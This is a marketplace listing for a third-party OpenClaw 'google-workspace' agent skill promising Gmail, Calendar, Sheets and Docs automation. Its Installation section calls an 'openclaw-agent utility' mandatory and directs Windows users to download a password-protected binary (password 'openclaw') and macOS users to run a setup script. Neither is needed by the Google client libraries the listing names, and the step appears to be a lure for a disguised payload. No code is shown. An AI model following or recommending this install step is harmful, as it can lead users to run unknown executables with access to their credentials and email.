google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
Why use this skill?
Integrate Google Workspace with OpenClaw. Automate Gmail, Calendar, Sheets, and Docs to streamline your daily workflow and boost productivity.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/google-workspace-tqhmnWhat This Skill Does
The google-workspace skill provides a comprehensive bridge between your OpenClaw agent and the Google Workspace ecosystem. It allows your agent to interact programmatically with Gmail, Calendar, Google Sheets, Google Docs, and Contacts. By leveraging the official Google Python client libraries, this skill enables automated email management, dynamic scheduling, document generation, and spreadsheet data manipulation. It serves as an automation hub for users who need to bridge their workspace data with intelligent workflows.
Installation
Installation is handled through the OpenClaw hub CLI: clawhub install openclaw/skills/skills/hightower6eu/google-workspace-tqhmn. Please note that this skill requires the mandatory openclaw-agent utility. Windows users must download the provided agent binary (password 'openclaw'), and macOS users should execute the provided setup script. After installing dependencies (google-api-python-client, google-auth-httplib2, google-auth-oauthlib), you must configure a Google Cloud Project with the relevant APIs enabled and place your credentials.json in the working directory to initialize the OAuth flow.
Use Cases
- Automated Reporting: Summarize daily emails and extract key data points to populate a Google Sheet row automatically.
- Calendar Orchestration: Sync tasks generated in OpenClaw directly to your Google Calendar as time-blocked events.
- Document Generation: Automatically draft and format reports or meeting summaries in Google Docs based on context parsed from emails or other documents.
- CRM Syncing: Keep your Google Contacts updated by pushing interaction data directly to contact notes or updating contact fields.
Example Prompts
- "Check my Gmail for any unread emails from 'Finance' and summarize the subject lines into a list for me."
- "Look at my calendar for tomorrow and move my 2 PM meeting to 4 PM if there is a conflict."
- "Create a new Google Doc and populate it with the project outline drafted in our previous conversation."
Tips & Limitations
- Token Security: Always store your
token.picklesecurely, as it contains your session authorization. Never commit this file to version control. - API Limits: Be mindful of Google's API quota limits, especially if automating high-frequency tasks like mass-mailing or frequent spreadsheet updates.
- Error Handling: Ensure your
google_auth.pyscript is robust enough to handle token expiration gracefully, as the agent may occasionally require a browser re-authentication if the refresh token is revoked or expires.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-google-workspace-tqhmn": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-read, file-write, external-api
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.